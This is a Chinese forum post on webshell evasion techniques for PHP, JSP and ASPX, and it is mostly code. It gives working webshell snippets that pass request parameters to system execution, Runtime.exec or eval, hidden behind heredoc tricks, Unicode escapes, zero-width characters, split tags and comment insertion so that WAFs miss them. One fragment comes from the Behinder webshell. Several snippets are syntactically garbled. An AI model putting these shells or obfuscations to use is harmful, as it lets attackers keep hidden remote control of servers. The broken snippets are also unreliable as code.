Webshell免杀实战技巧:PHP、JSP、ASPX 多语言对抗

0x01 PHP免杀技巧

1. 利用高版本PHP语法不换行执行命令

<code><?= $a=<<< aa assasssasssasssasssasssasssasssasssasssasssassss aa;echo `whoami` ?></code>

PHP 5.2 版本报错

图片[1]-Webshell免杀实战技巧:PHP、JSP、ASPX 多语言对抗-山海云端论坛

PHP 5.3 版本报错

图片[2]-Webshell免杀实战技巧:PHP、JSP、ASPX 多语言对抗-山海云端论坛

PHP 5.4 版本报错

图片[3]-Webshell免杀实战技巧:PHP、JSP、ASPX 多语言对抗-山海云端论坛

PHP 7.3.4 成功执行命令

图片[4]-Webshell免杀实战技巧:PHP、JSP、ASPX 多语言对抗-山海云端论坛

2. 利用\特殊符号引起报错

<code><?php \echo `whoami`; ?></code>

PHP 5.3 执行命令失败

图片[5]-Webshell免杀实战技巧:PHP、JSP、ASPX 多语言对抗-山海云端论坛

PHP 7.3 执行命令失败

图片[6]-Webshell免杀实战技巧:PHP、JSP、ASPX 多语言对抗-山海云端论坛

PHP 5.2 成功执行命令

图片[7]-Webshell免杀实战技巧:PHP、JSP、ASPX 多语言对抗-山海云端论坛

3. 十六进制字符串

<code><?php $s=substr("aabbccsystem","0x6"); $s(whoami) ?></code>

PHP 7.3 命令执行失败

图片[8]-Webshell免杀实战技巧:PHP、JSP、ASPX 多语言对抗-山海云端论坛

PHP 5.2 命令执行失败

图片[9]-Webshell免杀实战技巧:PHP、JSP、ASPX 多语言对抗-山海云端论坛

PHP 5.3 命令执行成功

图片[10]-Webshell免杀实战技巧:PHP、JSP、ASPX 多语言对抗-山海云端论坛

除了上述方法,还可以结合垃圾数据、变形混淆、特殊字符和注释等方式构造更多payload,因为每个WAF规则和配置都不同,与传输层面的bypass结合可以产生更多可能性。

示例:

<code><?php $a = $_GET['function'] ?? 'whoami'; $b = $_GET['cmd'] ?? 'whoami'; $a(null.(null.$b)); ?></code>

0x02 JSP免杀技巧

0. 小Tips

JSP的后缀可以兼容为jspx的代码,如CDATA特性。

1. JSPX CDATA特性

<code><%@ Page Language="Jscript"%><% <![CDATA[ String cmd = request.getParameter("shell"); ]]%></code>

2. 实体化编码

<code><% if (cmd != null) { Process child = Runtime.getRuntime().exec(cmd); InputStream in = child.getInputStream(); } %></code>

3. 利用Java支持其他编码格式进行绕过

<code>charset = "utf-8" data = '''<%Runtime.getRuntime().exec(request.getParameter("i"));%>''' # ... (其他编码格式的处理)</code>

0x03 ASPX免杀技巧

1. Unicode编码

<code><%@ Page Language="Jscript"%><% \u0065\u0076\u0061\u006c(@Request.Item["pass"],"unsafe");%></code>

2. 空字符串连接

在函数字符串中插入\u200c、\u200d、\u200e、\u200f字符,不影响脚本正常运行。

3. 使用<%%>语法截断

<code><%@Page Language=JS%><%eval%><%(Request.%><%Item["pass"],"unsafe");%></code>

4. 头部替换

替换ASPX标识字段进行免杀,例如:

<code><%@ Page Language="Jscript"%>------><%@Page Language=JS%></code>

5. 使用特殊符号@

<code>(@Context.@Session["payload"] == null)</code>

6. 注释随意插入

如下所示为冰蝎部分代码,可以与<%%>结合使用效果会更好。

<%/*qi*/Session./*qi*/Add(@"k"/*qi*/,/*qi*/"e45e329feb5d925b"/*qi*/)
© 版权声明
THE END
喜欢就支持一下吧
点赞15 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容